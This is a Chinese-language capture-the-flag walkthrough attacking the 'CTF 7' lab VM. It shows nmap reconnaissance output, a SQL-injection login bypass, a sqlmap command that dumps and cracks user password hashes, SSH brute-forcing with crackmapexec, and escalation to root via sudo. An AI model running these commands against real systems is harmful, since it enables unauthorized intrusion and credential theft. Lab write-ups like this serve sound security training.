CTF 7

信息收集

存活主机探测
arp-scan -l
端口探测
nmap -sT --min-rate 10000 -p- 192.168.0.5
服务版本等信息
nmap -sT -sV -sC -O -p22,80,137,138,139,901,5900,8080,10000 192.168.0.5Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-02 21:23 CST
Stats: 0:01:30 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.88% done; ETC: 21:24 (0:00:00 remaining)
Nmap scan report for 192.168.0.5
Host is up (0.00053s latency).PORT      STATE  SERVICE     VERSION
22/tcp    open   ssh         OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 41:8a:0d:5d:59:60:45:c4:c4:15:f3:8a:8d:c0:99:19 (DSA)
|_  2048 66:fb:a3:b4:74:72:66:f4:92:73:8f:bf:61:ec:8b:35 (RSA)
80/tcp    open   http        Apache httpd 2.2.15 ((CentOS))
|_http-server-header: Apache/2.2.15 (CentOS)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Mad Irish Hacking Academy
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open               Samba smbd 3.5.10-125.el6 (workgroup: MYGROUP)
901/tcp   open   http        Samba SWAT administration server
|_http-title: 401 Authorization Required
| http-auth: 
| HTTP/1.0 401 Authorization Required\x0D
|_  Basic realm=SWAT
5900/tcp  closed vnc
8080/tcp  open   http        Apache httpd 2.2.15 ((CentOS))
|_http-server-header: Apache/2.2.15 (CentOS)
| http-title: Admin :: Mad Irish Hacking Academy
|_Requested resource was /login.php
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
10000/tcp open   http        MiniServ 1.610 (Webmin httpd)
|_http-title: Login to Webmin
| http-robots.txt: 1 disallowed entry 
|_/
MAC Address: 00:0C:29:55:3E:AE (VMware)
Device type: general purpose|webcam|storage-misc|media device|WAP
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (97%), Tandberg embedded (91%), Drobo embedded (90%), HP embedded (89%), Infomir embedded (89%), Ubiquiti embedded (89%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:drobo:5n cpe:/h:hp:p2000_g3 cpe:/h:infomir:mag-250 cpe:/o:linux:linux_kernel:2.6.32 cpe:/h:ubnt:airmax_nanostation
Aggressive OS guesses: Linux 2.6.32 - 3.13 (97%), Linux 2.6.39 (96%), Linux 2.6.32 - 3.10 (94%), Linux 2.6.32 (92%), Linux 3.2 - 3.8 (92%), Linux 2.6.22 - 2.6.36 (91%), Linux 3.10 - 4.11 (91%), Tandberg Video Conference System (91%), Linux 2.6.32 - 3.1 (91%), Linux 2.6.32 - 2.6.39 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hopHost script results:
| smb-os-discovery: 
|   OS: Unix (Samba 3.5.10-125.el6)
|   Computer name: localhost
|   NetBIOS computer name: 
|   Domain name: 
|   FQDN: localhost
|_  System time: 2023-10-18T11:05:11-04:00
|_clock-skew: mean: -14d20h18m29s, deviation: 2h49m45s, median: -14d22h18m32s
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.19 seconds漏洞脚本探测
nmap -sT --script=vuln -p22,80,137,138,139,901,5900,8080,10000 192.168.0.5Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-02 21:23 CST
Nmap scan report for 192.168.0.5
Host is up (0.00047s latency).PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter:
|
|     Couldn't find a file-type field.
|
|     Couldn't find a file-type field.
|
|_    Couldn't find a file-type field.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
|   /webmail/: Mail folder
|   /css/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
|   /icons/: Potentially interesting folder w/ directory listing
|   /img/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
|   /inc/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
|_  /webalizer/: Potentially interesting folder
|_http-trace: TRACE is enabled
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn
901/tcp   open   samba-swat
5900/tcp  closed vnc
8080/tcp  open   http-proxy
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
| http-cookie-flags:
|   /:
|     PHPSESSID:
|       httponly flag not set
|   /login.php:
|     PHPSESSID:
|_      httponly flag not set
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-trace: TRACE is enabled
| http-enum:
|   /login.php: Possible admin folder
|   /phpmyadmin/: phpMyAdmin
|   /docs/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
|   /icons/: Potentially interesting folder w/ directory listing
|_  /inc/: Potentially interesting directory w/ listing on 'apache/2.2.15 (centos)'
10000/tcp open   snet-sensor-mgmt
MAC Address: 00:0C:29:55:3E:AE (VMware)Host script results:
|_smb-vuln-ms10-061: false
|_smb-vuln-ms10-054: false
| smb-vuln-regsvc-dos:
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_
| smb-vuln-cve2009-3103:
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|
|     Disclosure date: 2009-09-08
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103Nmap done: 1 IP address (1 host up) scanned in 99.16 seconds

综上靶机的版本信息可能是linux系统，突破点端口优先级：80 8080 10000

Web渗透

80

先看看80端口上的服务：

存在很多的功能点，依次的点击看看：

很多的功能点，都需要进行注册才可以。根据上面的信息收集，发现了两个目录，看起来比较可疑，可能存在漏洞，尝试访问/webmail和/webalizer：

登陆界面！看起来很像是后台的管理员界面！尝试在线收集相关弱口令！

（这里我进行了爆破，速度实在是过于缓慢了，没耐心了，可能没什么漏洞，后面找不到在回来看吧）

webalizer的版本号泄露给我们，在线查询相关漏洞，好像并没有什么漏洞，这个貌似是流量的管理平台。

8080

又一个登录的界面，看起来也很像后台的登录界面，一般我在遇到这种情况下，都会先试试常见的几个弱口令，然后抓包看看是不是明文传输，如果是的话，那就是可以进行爆破的！以及sql注入！

我们先抓包，看看能不能进行爆破，试了几个弱口令，并没有成功的登陆进去。

虽然发现了数据包中的账号和密码是明文传输的，但是我还发现了响应包中怎么还有查询语句？？？直接尝试闭合！

尝试利用万能密码进行登录：

登陆成功：

去sqlmap跑一下吧：

python sqlmap.py -r 1.txt -dbs -dump -batch

成功发现了users表中的各个用户的加密密码：可以尝试去在线破解一波！（当然这里的sqlmap已经给我们破解了几个）

e22f07b17f98e0d9d364584ced0e3c18（my2cents） [e-mail]
0d9ff2a4396d6939f80ffe09b1280ee1（transformersrule） [e-mail]
2146bf95e8929874fc63d54f50f1d2e3（turtles77） [e-mail]
9f80ec37f8313728ef3e2f218c79aa23（Shelly2012） [e-mail]
5d93ceb70e2bf5daa84ec3d0cd2c731a (qwer1234) [e-mail]
ed2539fe892d2c52c42a440354e8e3d5 (madrid) [e-mail]
9c42a1346e333a770904b2a2b37fa7d3 (somepassword) [e-mail]
3a24d81c2b9d0d9aaf2f10c6c9757d4e（LosAngelesLakers） [e-mail]
4773408d5358875b3764db552a29ca61（Jets4Ever）[e-mail]
b2a97bcecbd9336b98d59d9324dae5cf（chuck33）[e-mail]
4cb9c8a8048fd02294477fcb1a41191a (changeme) [e-mail]
098f6bcd4621d373cade4e832627b4f6 (test) [e-mail]

上面是我在线破解出来的密码和sqlmap自动解密出来的密码，进行了相关的整理，不知道能不能用到！感觉可以直接试试ssh！（这里我先不尝试，为啥？因为刚才在浏览各个功能的时候，发现一个文件上传的地方）

当然选择Add new也是可以：

我们先试试随便上传一个文件，利用BP进行重放测试：

是传上去了，但是没有回显的路径，不知道传到那里了。。。换个账号能不能看到呢？（发现也是看不到，而且不是admin权限的账号进行登录的时候，登陆不成功），回到了上传的界面，尝试在作者 和 描述功能框中，写php代码，重新上传，出现了目录：

判断这可能就是上传的路径，但是文件名还是不知道的，猜测还是我们上传的原文件！（还是访问不到~）

我一直访问不到，难道是浏览器的原因？换成firefox之后，还是not found~

感觉这里只要能访问到，肯定是直接上传文件，或者是绕过上传的限制，但是我上传了一个txt文件，并没有相关的限制~~

SSH

看看SSH能不能登陆吧：

利用crackmapexec工具

CrackMapExec提供了域环境（活动目录）渗透测试中一站式便携工具，它具有列举登录用户、通过SMB(Server Message Block)网络文件共享协议爬虫列出SMB分享列表。

看看具体的用法：

因为是对ssh进行爆破，所以后面接上ssh后，继续-h

-u接用户名的文件，-p接密码的文件！

用户名字段：

密码文件：

crackmapexec ssh 192.168.0.5 -u username -p pass

发现真的存在ssh账户和密码，接下来就是登陆了！

成功拿到了初始的权限，接下来就是提权！

提权

查看初始的权限

两个ALL？那不就是root？

完事！（PS：10000端口都没用到，当时我还看了下，这个webmin他是存在命令执行的！！没再测试）